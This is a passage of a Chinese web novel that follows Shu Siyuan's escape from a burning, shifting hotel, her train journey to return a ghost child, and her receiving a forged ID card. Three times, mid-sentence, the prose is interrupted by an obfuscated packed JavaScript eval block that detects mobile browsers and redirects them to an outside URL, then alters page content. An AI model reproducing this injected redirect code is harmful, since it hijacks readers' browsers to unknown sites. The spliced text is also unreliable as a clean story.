“最后我们是凿开湖面上那座桥的倒影,把自己埋进冰里去才出来的,”黄铃珑气狠狠地说,“出来后才知道那是一个倒过来的雪景水晶球。” 舒司鸢对她的遭遇表示同情,但宾馆的情况显然不能借鉴这一解法。她可以在气温零下的寒冷环境中坚持一会儿,但在火海中逞强只会变得焦焦脆脆美味无比。 周小苗乖乖被黄铃珑牵着站在那里,没对两人奇怪的谈话发问。她刚被单阿姨恐吓一番,紧接着突如其来的大火又把她吓得六神无主,这会儿听什么都像裹了一层朦朦胧胧的薄膜,上楼全凭舒司鸢和黄铃珑生拉硬拽。 这层二楼的房门全部是关闭的。她们迟疑着向前走,时刻警惕旁边的门会突然打开。 但火势严峻,已经卷过一半走廊,现实容不得她们多作考虑,只能一直不停地上楼。 爬楼梯是一项相当累人的活动,更别提她们爬完一层楼梯,还要跑过一条长廊。 双腿灌了铅般沉重,舒司鸢靠着墙稍作歇息,喉咙里铁锈味翻涌,眼前的景象模糊着晃来晃去,恍惚中她以为自己是穿越成正在拉练的运动员了。 还是不努力就会被活活烧死的那种。 好在她们方才一鼓作气跑上好几层楼,大火被远远抛在身后,现在才能喘上一口气。 “你有没有觉得,天花板离地面好像越来越近了。”舒司鸢仰头望天花板,伸手比划了一下,侧过身和黄铃珑说。 黄铃珑也抬头看天花板,对比记忆中的二楼,不太确定地说:“有点……吧。” 高度变化太小,舒司鸢其实也只在第一眼察觉到端倪,后来看得久了,又觉得高度恢复正常了。 “小苗,207的钥匙还在你那吗?”她看不出个所以然来,索性放弃观察,低下头问躺在地上的周小苗。 周小苗费劲地从口袋里找出钥匙给她,累得一句话也没说。 舒司鸢接过钥匙。 她们爬上这层楼前,拿一块湿毛巾做了实验。然而上了这层楼时,那块被她们丢下的湿毛巾却没有出现。下楼一看,毛巾却就在那里。 当时舒司鸢站在楼下喊她们,黄铃珑也回应了。 她们确实是在上楼,但这楼梯却无穷无尽。 207的房门被舒司鸢打开一条细缝,待看清门内的东西时,她脸色一变,当即关门。 单阿姨就站在门口,仗着手多的优势,成功阻止舒司鸢关门,手从门缝处挤出来,胡乱挥动。 黄铃珑见状一惊,立即过去撞在门上,用全身的力气挡门。周小苗也忙不迭爬起来效仿她挡门,脸涨得通红。 单阿姨作为一只多手多脚的成年体怪物,力气本就比她们大得多,它八肢扒着门框,吃力地一点点把自己塞出去。 单阿姨完全出来了。它缠在门上,只有眼白的一双眼睛怨毒地盯着眼前的三个人,长舌舔着牙齿。鞭子不在身边,它思考着怎么惩罚她们,才能让她们再也不敢逃跑。 单阿姨的八条肢体全都伸长出去。等它抓到她们,它就……嗯?她们怎么都不跑? 眼前的三人齐齐站在原地,面色怪异地看着它。只有中间的那个稍显尊敬地露出少许害怕的神色。 单阿姨再一看,有两个人是它不久前才教训过的,看来是之前的处罚起了作用。正好,不跑省的它动手了。 单阿姨拉长手,去抓离它最近的一个女孩子。然而碰到舒司鸢之前,它饿得发慌的肚子却先被人猛然重重打了一拳。 周小苗越过舒司鸢朝单阿姨扑了过去,她俩砸到地上。单阿姨还没反应过来,脸上和身上就挨了好几拳。 “叫你烧我的照片!”周小苗恶声恶气地说,“恶毒的老太婆!” 单阿姨被打得晕头转向,眼前一阵阵发黑。它试图起身却被周小苗牢牢压住,只好歪头躲过周小苗的拳头。 脑袋一偏,单阿姨在对面的一张落地穿衣镜里看清了此刻自己的模样。 现在的它比原先缩水了好几倍,比起周小苗根本大不了多少。 舒司鸢若有所思地看着缠斗在一起的一人一怪。这么看来,电话世界中的单阿姨确实是由孩子们的恐惧凝聚而。刚才单阿姨和她进行拔门比赛时,只比最开始见到的模样小了一半。等到周小苗打过去的时候,它直接缩小到周小苗同等比例。 应该是这一层里她们对单阿姨产生的惧意不多。她见多了怪东西,单阿姨在她看来怪得不算有水平。周小苗则被烧了照片,恨不得手撕单阿姨,大体就是黄铃珑贡献的那点了。 黄铃珑本来是还有点害怕,不过她看到单阿姨被周小苗压着打后,也不怕了,跟着补了几脚,晃进了屋子里。 唯一的恐惧源没了,单阿姨又变小几分。 舒司鸢经过她们,进到207内,捡起掉在地上的一张照片。 照片烧毁了一半,周小苗不见了,剩下的就是她那个朋友,光头大叔的女儿。 她把照片收好,打算等周小苗打完了再给她。 照片旁边是掉落的打火机,她也捡了起来。摩挲着打火机不平的外壳,她心里忽然冒出一个主意。 舒司鸢用被子包住单阿姨,扯下床单,拧成一股长条捆住它,另一头则系在门把手上。 她们合力把单阿姨拖出来,关上了门。 舒司鸢把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371291|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照片递给周小苗,点燃了从桌上拿来的一包纸巾,面无表情地丢进单阿姨的嘴里。 不是爱吃纸币吗?她就好心好意喂点平替吧。 之前把她摔来摔去扯来扯去的,她只是把它拴起来,已经是大发善心了。 楼下传来劈啪声,热气随之传到这一层的走廊。舒司鸢回头望了一眼,说道:“该走了。” 她们的身影转眼消失在楼梯拐角,只留下单阿姨在空无一人的走廊里,发出痛苦难耐的混乱叫喊。 它感觉舒司鸢投下去的那把火直烧到它肚子里,把它方才吞咽下去的钱烧得精光。 这点痛苦它尚且能够忍受,然而更大的火渐渐朝它逼近。单阿姨奋力挣扎许久,最终明白只是徒劳。 没关系。它乐观地安慰自己,每一层都有自己的分体,只要它能忍过火烧的痛苦,就能在分体中存活下来。 火焰卷过单阿姨的身体,结果只听“扑通”一声,楼上又被丢下来一个东西。它定睛一看,是一个变得更小的它自己,同样被包在被子里束缚住。 恐惧转移到了单阿姨的脸上,不过只有一瞬。 火彻底吞没了它。 楼上,舒司鸢因为有了火烧单阿姨的盼头,每一层跑得也没那么累了。 但自从某一层后,单阿姨却不再出现了。而且她的感觉成真,天花板是真的在越压越低。 好消息是,她们终于追上了周一。 坏消息是,是因为对方上不了楼了才追上的。 天花板与地面之间的距离已经近得不可思议,她们不得不蹲在地上。 先不说消耗的体力更大,就算她们有花不完的力气。照这样慢慢挪动的速度,她们根本跑不过大火。 楼梯间的天花板倒是正常,她们会直起身子休息一会。 又感到一阵热浪袭来,提醒她们必须出发了。 新的一层楼,她们是匍匐在地上爬过去的。 到了尽头,却没有楼梯出现,只有周一趴在那里等她们。 舒司鸢勉强抬头转了一圈,没有发现周二和周三的身影。 “她们出去了。”周一注意到她的视线,做出解释。她抬手碰了碰身后白色的墙面,那上面有一块烧黑的方形,“这是窗户。” 她的手穿过了那块焦黑的墙壁。 “外面是什么。”舒司鸢很肯定地问道。 “高塔,”周一说,“我们不是一直在爬楼吗?” 舒司鸢默默抿唇,没想到有一天,她要在摔死和烧死之间选择一个死法。 “你怕的话,就让我先出去吧。”周小苗说,手里捏着那半张照片,“我有点要忘记自己是谁了。” “让我在忘记自己的名字之前先出去吧。” “说不定等出去了,就能一直记得了。” 舒司鸢让开了,周小苗慢慢爬了过去。 “周小苗,你朋友叫什么名字?”她突然问。 “周子芸。”周小苗说,然后爬进了窗户。 黄铃珑对着舒司鸢点头,也出去了。 “你还不走吗?”舒司鸢感到越来越热了。 “我不一定能过去。”周一沉默两秒,说道。 舒司鸢看着那块黑乎乎的方块,也是这一刻,她才发现这扇窗户非常得小。 这是一扇只有小孩子的身体才能通过的窗户。 周一比她们大上许多岁,身体也更高大。但她看到周一脸上的表情,便意识到她担心的不是大小。 这群被关起来的孩子,幻想着208房间是一座童话故事里的高塔,只要不停往上走,就能看到一扇小小的窗户。 那扇窗户只允许孩子们通过,而抓来她们的大人却会因为过大的体形被拒之门外。 可是周一,她活到如今,是靠出卖其他人的命。 孩子们将她归于哪一类? 舒司鸢把头伸出去瞧了瞧,又伸回来,语气断然,“外面是天空。” 说完她不再管周一,径直出去了。 高空坠落时,耳畔的风声总是刮得剧烈。 风吹得舒司鸢睁不开眼,她最后看了一眼窗户的方向,宾馆高耸入云,果然变成了一座高塔。 总算找到出口了,舒司鸢在失重感里闭上眼睛。 锁在牢笼里的人,死亡就是她们的出口。 19. X822 舒司鸢躺在床上睁开双眼,酸痛立刻席卷了她。她缓了缓才坐起来。 还好周小苗她们最后手下留情了,她没有真的摔死。这点痛全是因为在狭小的空间里爬来爬去导致的。 猫也回来了,正窝在椅子上睡觉。 它身后是那扇终于显形的窗户。阳光穿透玻璃而过,照到木质地板上,质地比旁边由灯光照到的木板要更加油亮。 似是察觉到她醒了,门口响起四声敲门声。舒司鸢起身下床去开门。 203的小男孩站在门口,一句话也没说,只是递给她几张小纸片。 舒司鸢接过来。那是四张火车票,今天下午发车,横跨两个大省,预计深夜时分到达目的地。 她去叫醒了黄铃珑,后者揉着眼睛和她一起下楼,揉完眼睛捶肩膀捶腿,得的是同款爬行后遗症。 “总算出来了。”黄铃珑打了个大大的哈欠。 一楼前厅的大门果然已经出现了。宾馆的秃顶老板却不在,桌子却放了一张白纸,半张垂落下来,很是显眼。 舒司鸢走过去。纸上写着“退房请归还钥匙”。她们依言把钥匙还了,舒司鸢还多还了一部手机。 “票都帮忙买好了,看来是真要送他回家了。”黄铃珑把手里的纸质车票翻来覆去地看,遗憾地发现那只是一张再正常不过的车票。 故去的那位宾馆老板已经做出最后的指示,都到这一步了,她们自然要做到底。 “还没信号,”黄铃珑低头戳手机,而后脸上表情凝固,叫道,“坏了!” 舒司鸢也在看车票,她还在专心研究老板在没有身份证的情况下,是怎么给她和芝麻买到车票的,突然听到黄铃珑在耳边叫了一声,抬头问道:“怎么了?” 黄铃珑指着手机屏幕上显示的时间,“还有十分钟这班车就要开了,但是我们打车到车站去,少说也要半个小时。” “我还是看看有没有其他的班次……,”黄铃珑话到一半,又悻悻放下了手机,“忘记没信号了……” “不一定赶不上。”舒司鸢若有所思地望向宾馆大门,上前几步推门。 门莫名变得又沉又重,她加了点力气才推开。 行李箱的滚轮声和机械的播报声一同闯进寂静的宾馆,浑浊的空气飘进来,中和了宾馆中长久存在的一股灰尘味。 “嘶,”黄铃珑倒吸一口凉气,“能切换空间,怎么会把它划分到影类……” “什么是影类?”舒司鸢听到她的碎碎念,好奇地问道。 “它是‘域’的一种分类,还有……上车之后我再给你讲吧。”尚未熄灭屏幕上的时间跳动了一个数字,黄铃珑立即收住话头。 虽说老板给芝麻也买了车票,舒司鸢还是有点担心它能不能上车。结果安检员面色如常,像检查人一样检查了猫,只让她把装着猫粮的单肩包放进安检机。 周围人来人往,对车站混入的黑猫视若无睹。只有同行的黄铃珑感到奇怪,不过她本身就是做诡异工作的,因此接受良好。更何况比起猫,她们身边还有个更奇怪的鬼也要坐车。 距离发车仅剩五分钟,广播发出催促。黄铃珑听着那串数字,越发觉得耳熟,忽然联想到什么,语气恍然大悟,“啊,是这辆车……” 舒司鸢还想问,奈何时间紧急,她们狂奔过候车大厅,直奔检票口。 黄铃珑自从认出她们要坐的是哪辆火车后,根本没抬头朝候车厅内的黑底大屏幕看一眼。她连检票口处贴着的数字也没看,带着舒司鸢径直跑到最后一个。 X822的检票口位于最角落,没人排队。黄铃珑只把车票在闸机上照了一下,屏幕中她低着头,看不清脸,绝对不算合格的人脸识别,机器却直接放她过去了。 然后是小男孩,他学着黄铃珑的样子,也顺利通过了。 “这车只认车票,一张过一个。”黄铃珑说,她扯住小男孩的卫衣帽子,阻止他独自进车。 用不到身份证,舒司鸢心里松了口气。她照了一张车票,闸门打开,她推着猫进去。接着刷了自己的那张。 老板抠门到没边,选的是最便宜的一班车,整整一晚上的时间,给她们买的是坐票。而且她虽然买了四张票,但默认猫不需要座位,所以只有三个座位,刚好在同一排。 最里面的座位是靠窗的,舒司鸢和黄铃珑让小男孩坐到那里,一来让他看看窗外的风景别感到无聊来作妖,二来就是防止他逃跑。 舒司鸢坐到中间隔开小男孩和黄铃珑,桌板上则用来放猫。 小男孩一路上就没有说过话。此刻换了新环境,他更不理人了,小脸一扭,注视着窗外的景色。 舒司鸢心想他这么扭一晚上,迟早把脖子扭断,后来想到小男孩又不是普通人,就随他去了。 她们刚坐下没多久,火车就发动了。 一棵棵树木往后倒退,掠去的速度愈来愈快。 “这辆火车怎么了?”舒司鸢找到机会问道。 她们所在的这节车厢里没有别人,她就没有刻意压低声音。 “其实也没什么,X822也是‘域’,不过危害性很低而已,”黄铃珑说,“在这辆车上,要遵守的规则只有一个,就是确保自己一直随身携带着纸质车票。” “不止上下车都要靠车票出站,期间还会有列车员来查票。” 舒司鸢听到前半句都心死了,还以为又要出事,后面听到黄铃珑不以为意的口吻才放下心来。 黄铃珑都不怕的“域”,那就没什么危险的。 怪不得能给猫也买一张。原来是“域”。 她只要把几人的车票都收好就行了。 车票统一放在她的单肩包里,被芝麻稳稳压在身下。肯定丢不了。 “‘域’是怎么分类的?”舒司鸢问。其实她还有几个关于火车的问题,诸如票没了能补吗、没上车的人怎么办、列车员是人类还是怪物之类的问题。不过既然火车的规则比较简单,她就不关心了。 “这个解释起来比较复杂。”黄铃珑停顿了会儿,斟酌着该从哪里开始说起。 “就拿安家宾馆举例吧。”黄铃珑开了个头后,便流利地讲了下去。 “之前和你说过,进入‘域’前会先进行等级的检测。当时确定安家宾馆属于最低的影级,就只派了一位前辈带着我们几个新人过去,但是只有我通过了‘域’的认可,所以你在那里只见到了我一个人。” “安家宾馆里的透明人,它们想要害人,限制条件很多,需要同时满足睡觉和通话两个条件,而且每一次只能获得房间主人的一个身体部分。但若是在非通话时间遇到透明人,它们无法产生实质性的身体或精神上的攻击。” “这种伤害人类有条件限制、要多次才能造成实际伤害或者死亡的,怪物的实力比较弱,就像人类的影子一样,或许会在偶尔时吓你一跳,但更多时间是无害的。” “因此,安家宾馆被定为最低的影级。” “不过,将其划分到影类更准确一些。因为实际上我们对‘域’不作等级之分,只用类别大致区分它们。只不过进入每个类别的调查员的折损率有高有低,才普遍认为死亡率最低的影类是最低等级。” “严谨一点来说,‘域’是没有等级的。因为它们能够成长与互相吞噬,一个‘域’可以包含多种类别。” “还是拿安家宾馆举例。在你推开门之后,我说了一句‘切换空间’,但影是不具备转换空间的能力的,有这种能力的类别只有一种,我们称它为‘门’。” 黄铃珑面色沉重,“门的数量不多,但难度极大,可以认为它的等级是最高的。” 骤然听到“难度极大”几个字眼的舒司鸢默然,她怎么觉得不太难啊。 黄铃珑看懂了她的表情,笑了笑,“所以才不用等级区分‘域’嘛。安家宾馆能切换空间,属于门;有透明人,又属于影。类别是重叠的。” “但它还涉及到一个分类,”黄铃珑指指小男孩,说道,“游。” “可以放怪物出来,或者把进入的人类变成怪物放出来,这类出来的东西就被称为‘游’。它们可以诞生出新的‘域’。” “不过安家宾馆之所以难度不大,我认为是‘域’主放水了,也就是死在火灾里的宾馆老板,”黄铃珑又将话题从小男孩跳转回了宾馆,“她的本意是让进‘域’的人们带孩子们出去,所以不会故意为难我们。” “像这种保留由人类演变成的‘域’,保留了一部分人类意识而显得中立而无害,这就导致了不同的调查员组织——” 黄铃珑忽然闭嘴了。舒司鸢顺着她的视线看过去,不远处一位列车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382370|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员推着小车过来了。 “铃珑,”列车员认出了黄铃珑,脸上浮现惊喜的笑意,给了她们一人一杯水,“你的朋友吗?” 黄铃珑正好说得口渴了,接过水咕咚咕咚一口气喝完了,然后点了点头。 列车员看到了小男孩和猫,猜到黄铃珑是在执行清除“域”的任务,但她和黄铃珑姑且只能算是半个同事,也无意知晓详情。 “有事随时喊我。”列车员爽快地说,推着小车就要走。 “等一下,给我来三份盒饭吧,要最贵的。”黄铃珑叫住她,本想管她借点钱,但最后拿着手机又试了下,发现居然有信号了。 “你们工资还挺高。”列车员说,“等会送来。” “没事,走报销。”黄铃珑大手一挥,豪迈地说。 舒司鸢就这样又跟着蹭上了饭。但她还是以手机丢失为由拒绝了黄铃珑加好友的请求,让她写下联系方式给自己。 还好她从来没当着黄铃珑的面拿出过自己的手机。 黄铃珑给自己的上司打了个电话,主要是报备小男孩的事。 舒司鸢猜她们既然知道有‘域’中出来的怪物的存在,也会有相对应的控制方法。 “刚才说到哪了?唔,调查员组织。”黄铃珑回来了,指着列车员远去的背影,“调查员在正式进入与之前会有一场试验性质的考核,两人一组搭档,姚思敏就是我那场考试的队友。” “那个被当作考试场所的‘域’也是门级,但它比安家宾馆要恐怖很多,里面的怪物能取代人类从‘域’里出来,然后又慢慢取代‘域’外的人。当时死了不少人,不过几年前就已经被很厉害的前辈破解了——破解了一大半吧,它性质有点特殊,用来实战演练还挺合适的。” “那个前辈和‘域’……怎么说呢,算是融合了吧,”黄铃珑含糊地说,“所以那个‘域’目前只要不去到禁区,危险系数还是不大的。” “和安家宾馆一样,这种融合了人类意识的‘域’,都变得不再危险了。用来考试的‘域’要更特殊一点,那个前辈至今可以保持和人的交流,电话短信都能联系到他,甚至还来给我们上过课。但宾馆老板是无法做到这一点的。” “有了他的先例,就诞生出了不同理念的调查员组织,就是我刚刚要说的。我之前和你介绍过,我来自‘棱镜’,这是当今最大的官方调查员组织,旨在以任何手段清除所有的‘域’。其他省份还有一些分部官方组织,名字不同,但‘棱镜’是总部。” “但是姚思敏,她隶属于‘十字路口’,她们奉行的是人类与‘域’的融合才是未来大势所趋。组织内大多是理论研究派,”黄铃珑耸了耸肩,“这种理论比较极端,不是主流。因此‘十字路口’是民间自发组织,但规模很大,偶尔和我们有合作。” 黄铃珑结束了科普,拿起小男孩没喝的那杯水喝掉了。 舒司鸢幽幽地问:“你说的那个考试门,不会是家便利店吧?”其他消息黄铃珑讲得很明白,她听的差不多了,唯有一点越听越觉得不对劲。 “是啊。就在安家宾馆隔壁一条街,你去那买过东西?”黄铃珑放下水杯。这俩地方离得挺近的,舒司鸢去过那她也不觉得奇怪。 何止呢,她差点寄在那。 舒司鸢点头,不作声了。 不知不觉间夜色降临,窗户涂上一层黑色。 舒司鸢和黄铃珑轮流值班,看管小男孩。倒是一次车票也没被查过。 天刚微微亮起,她们终于到站了。 黄铃珑在一旁搜索周家村的地点,舒司鸢盯着小男孩。 “我们要先坐地铁,然后换乘三辆公交车,再然后坐上去县里的大巴。”黄铃珑说。 “这样就到了?”舒司鸢问。听上去挺花时间的。 黄铃珑摇头,“不是。接下去还有几十公里,我们最好能找到愿意让我们搭车的。” 好在时来运转,她们刚从县里步行出几公里,就有一辆三轮车路过。 大爷只收现金,舒司鸢身上正好只有现金。 终于在天黑时,她们遥遥看见了写着“周家村”的牌子。旁边还有一个更大的告示牌。 深蓝色的底,白色的字,上面写着“野生熊出没,请注意安全”。 舒司鸢默默抱紧了自己的单肩包。 20. 适量游戏,健康人生 舒司鸢来到新世界后,一连撞上两个门类的“域”。现在又可能遭到熊的袭击。 熊没有“域”那么讲道理。她可以和鬼怪周旋,但和熊徒手搏击,她干嘛要挑这么个难看的死法? 才出了“域”,就入熊窝,她不会和这里犯冲吧? 大爷载着她们经过告示牌,一路上始终一言不发的小男孩终于出声了。 “就在这里停下吧。” 其实往上还要走一段山路,才算真正进到周家村里。这附近只有两个光秃秃的告示牌,一幢房屋也没有。 她们要早点下车,大爷自然没有怨言。舒司鸢和黄铃珑也乐得轻松,早点把小男孩送到,她们就能越早摆脱“域”。 “你家在哪儿?”舒司鸢问小男孩。 “我自己回去就行了。”他说完就要转身。 “等一下,最后一个问题,”舒司鸢拦住他,“你叫什么名字?” “周奇。”周奇说,这下真的走了。 舒司鸢目送他瘦小的背影远去,余光注意到随着小男孩一路向前,他身旁两侧的树枝似乎悄悄小幅度动了动。 “是我的同事,”黄铃珑也看到了,便解释道,“是来监视他的。” 后续事务由专门的人负责对接,舒司鸢和黄铃珑的任务到此为止。不过回程的时候,她们倒是蹭上了棱镜的专车。 开车的是一位穿着黑色紧身背心的女人,大手随意搭在方向盘上,小麦色的双臂上有着明显起伏的肌肉线条。 “这是羽峥姐,和我同一组的前辈。”黄铃珑介绍说。 舒司鸢看一眼就觉得安心,和戚羽峥打过招呼,在后排不管不顾地倒头就睡。黄铃珑则坐在副驾驶上苦哈哈地写任务报告,偶尔和戚羽峥低声交谈几句,说的是宾馆的事。 一觉醒来后,窗外已是大亮。舒司鸢在一片恍惚中坐起身。最近一段时间她作息都不能用日夜颠倒来形容,那简直就是在一天中随机抽取几小时来睡觉。 好半天她才看清中控屏上的时间,已经是把小男孩送到的第二天中午了。 再一看,黄铃珑也歪着脑袋睡着了,连膝盖上的笔记本都没合上,黑下来的屏幕倒映出她熟睡的脸。 “你醒了?”戚羽峥爽朗的声音传来,单手递过来两份三明治,“吃点东西,晚上才能到。对了,你那只猫我也喂过几次。” “谢谢。”舒司鸢接过来撕开包装。两份三明治都夹满了馅料,包装袋上残留了一点水汽,说明它们之前被加热过又变冷了。 “不够的话自己拿。下一个服务区再补货。”戚羽峥说,她从后视镜里看到舒司鸢被噎了一下,拿了瓶水给她。 舒司鸢再次道谢。戚羽峥又从后视镜里看了她一眼,似乎是开车太久,她觉得无聊了,逮着总算醒来的一位乘客聊天。 戚羽峥压低声音问:“你高中毕业了吗?” “毕业了。”舒司鸢实话实说。 “那肯定成年了吧,”戚羽峥打方向盘,“高考完是不是都要去考驾照来着?” 舒司鸢还在和三明治里的双份煎蛋做斗争,她感到蛋黄不仅噎住了她的喉咙,还把她的大脑也噎住了。于是她不假思索地点点头。 “那你来开车吧。”戚羽峥图穷匕见。 舒司鸢没什么意见,她刚想答应下来,猛然想起她的驾照和身份证一样,都被留在原来的世界了。 但是就算有,她也不太敢上高速。毕竟离她拿证才过去两个多月的时间,而她又属于那种考完试就再也没摸过车的类型。 她自己死倒是不要紧,就怕连累黄铃珑和戚羽峥一起车毁人亡了。 舒司鸢赶紧找补:“考了,我没过。” “好吧。”戚羽峥遗憾地说,“那你就多吃点吧。” 好在她们到达服务区时,黄铃珑醒过来了。她吃了点东西之后,就接替了戚羽峥。 入夜,车辆汇入一片前往槐兰市的车流之中,在深夜时分到达安家宾馆。 过去了几天,棱镜的后勤部已经完成了对“域”的收容,安家宾馆原本可以恢复正常营业,但是被黄铃珑举报该店接待旅客住宿时不查验身份证,目前处在停业整顿期。 不过秃顶老板还在那。舒司鸢借口落了东西,才得以进去。 她走进昏暗的宾馆,回头望了一眼,对上戚羽峥的目光。对方把头伸出窗外吹着风,见她看过来,就对着她笑了一下。 天色太晚了,戚羽峥坚持送她回家,舒司鸢只好编造了自己是来槐兰市旅游的,然后突然想起莘曼说过便利店附近还有一家酒店,就说自己已经在那里订了房。 “你一个人来旅游啊,注意安全。”戚羽峥笑着说,“真勇敢。” 舒司鸢收回视线。秃顶老板这会儿现身了,正坐在那伏案写着什么。桌子前的挡板很低,她一走近就能看清,老板是在算账,手边摆着一台计算器,大半张白纸密密麻麻写满了数字和文字。 居然没在打游戏。 “老板,我来取之前寄放的东西。”舒司鸢说。她指的是她和黄铃珑进入电话世界之前买的那些东西。虽然没在电话世界里用到,但指不定之后就能用上。黄铃珑不是说了吗,进过“域”中的人,后续会触发“域”的概率会更大。 她现在身上没钱,能省点是一点。 “是你啊。”老板抬头,勾了勾嘴角。她的语调一改拖沓的毛病,变得很是干脆利落。 舒司鸢接过那个塑料袋,临走前又被老板叫住了。 “这个也给你。”老板从抽屉里拿出那支包着紫色外壳的手机。 舒司鸢的目光露出几分讶异。这时她看到老板随意而自然地撩了一下耳侧,似乎是要把垂落的散发拢起来收好。 这个动作太熟悉了,回忆如同火花般闪过,她几乎是立刻就联想到了那张自拍照。 老板是个秃顶,他有什么头发可撩的? 有头发的不是他姐吗! “按理说,你完成了委托。我应该付给你报酬的,”李承瑛说,“不过比起钱,你更需要身份证明吧。” 她递出一张身份证放到桌上,平推到舒司鸢面前。 “李承业”。 名字旁边的照片,就是秃顶老板的照片。 舒司鸢和身份证上秃顶老板死鱼一样的眼睛对视。实话实说,她其实两个都想要。 李承瑛:“这张身份证还没有注销,你拿去用吧。我做了一点处理,你用来坐高铁飞机还是银行开户都没问题。” 舒司鸢收下了,不死心地问:“真的不能都要吗?” “只能等价交换哦。这个报酬已经够格了。但是——”李承瑛笑得更灿烂了,手指摁着计算器,“你还要还我一点债。” 舒司鸢盯着李承瑛展示给她看的计算器,她指着那船越加越大的数字问:“这都是些什么?” 她什么时候欠上这么多钱了? 李承瑛耐心地一个个说明:“这是你们的车票,钱少的是两张儿童票,这是你偷带猫的打扫费,这是我借给你的三百块钱……” “停停停,”舒司鸢打断她,“我什么时候找你借过钱了?” 偷渡芝麻她确实心虚,走之前也拿粘毛滚筒把房间粘了两遍,但老板要另外收清洁的钱,她也认了。可是莫名其妙多出来的三百块已经占了她在便利店里赚来的将近一半,加上这三百块后的欠款已经超出她目前所持有的存款 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394428|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “哦,是你的猫借的,”李承瑛纠正道,“你和你同伴落到那女人手里的时候,它不是叼着三百块钱来救你们了吗?” 舒司鸢没话说了,她最后挣扎了一句,“我的同伴也有报酬吧。” 李承瑛经她一提醒,把计算器归零了,“差点忘了,那这点钱就算作她的酬劳吧。” 舒司鸢愣了下,没想到真给她免了。就是不太对得起黄铃珑,有钱了再还给她好了。 “你缺钱的话,”李承瑛指指自己的手机,“我这里边有个群聊,里面经常会发布兼职工作,你自己看情况接吧。” 舒司鸢把李承瑛的手机也收下了,没问她都是些什么工作。想也知道这种高薪兼职不是诈骗就是要命。 她走出宾馆上了车。戚羽峥油门一踩,把她送到了电竞酒店的门口。 跟黄铃珑和戚羽峥说完再见,舒司鸢踏入酒店的大门。 酒店比宾馆大上几倍,大厅亮堂又宽敞,就是名字有点土——依依酒店。 名字虽然土,但精神理念绝对先进——这是家宠物友好型酒店。玻璃门上就贴着微笑小狗的贴纸。 前台是个上了年纪的中年妇女,留着短短的黑色卷发,双颊红润,面容亲切随和,一双明亮的眼睛透出健康的活力。 “小姑娘一个人吗?”中年阿姨嗓门洪亮。 “对,一个人,”舒司鸢靠在前台,取出那张属于李承业的身份证,“还有只猫,能住吗?” “可以的,”阿姨在电脑上点来点去,“给你一间离电梯远点的房间吧,安静些。” 身份证果然如李承瑛说的那样,一点问题也没出。她很快拿到房卡上楼,找到了自己的房间。 不过她剩下的钱只能住这么一个晚上。白天刚睡过,她现在也不困,迅速洗澡洗漱后就打开了李承瑛说的那个兼职群,赚点食宿费。 李承瑛把手机格式化了,但在主页屏幕上留下一张便签,说是帮她注册好了号码和社交软件,兼职群也帮她申请上了,让她自己看看有没有通过。 舒司鸢点进去,消息界面就只有一个群聊,最新一条消息就是几个小时前她成功加入该群聊的通知。 她先给莘曼和黄铃珑发去了好友申请,检查了联系人列表里并没有那个诡异的X,然后才看起兼职群里发布的消息。 之后她就发现自己高兴早了,因为兼职群的群主就是X。 聊天群里一水儿X发布的工作信息,偶尔会有其他的成员引用X的某条消息,依次发数字,表示自己接下这份工作。 只不过X在该群里的危险气息消失了,看上去就像个审美不太好的非主流少年。 舒司鸢大致浏览了几条。 恐龙展览馆讲解员,电影院检票员,景区救生安全员,游乐园互动NPC…… X发了很多,她要在其中挑出工资高又相对来说比较安全的工作。 像恐龙馆她就铁定不去。 凌晨时分,她才勉强挑出几个看上去没那么危险的,不过晚上不适合做决定,她打算明天醒来再考虑考虑。 舒司鸢把手机放到床头柜上,临睡前又看了一眼消息框,莘曼和黄铃珑都还没有通过她的好友申请。 她关掉了灯,钻进被子里。 然而才闭上眼睛没一会儿,隔壁的房间突然响起一阵劈里啪啦摔东西的声音,和隐约传来的尖叫。接着是开门的声响,有人走到了走廊里。 不会打起来了吧? 舒司鸢翻身起来,对着猫眼朝门外望去。 外面的人影清晰地照映在猫眼里,舒司鸢有些惊讶。 下一秒,她打开了门。 “莘曼?” 21. 适量游戏,健康人生2 莘曼乍然听到熟悉的声音,举着电脑键盘猛地扭头。待看到那张熟悉的脸时,她眼眶发热,吸了吸鼻子。 “小鸢……”莘曼喉头一哽。她有许多话想和舒司鸢说起,但这几天发生的事情太过魔幻,一时不知该从何说起。 舒司鸢疑惑地从自己的房间里走出来。她和莘曼相处都不到十个小时,对方看到她怎么这么激动? 然后她就看到了一旁全身都在用力堵门的年轻男人,而且还有点眼熟。 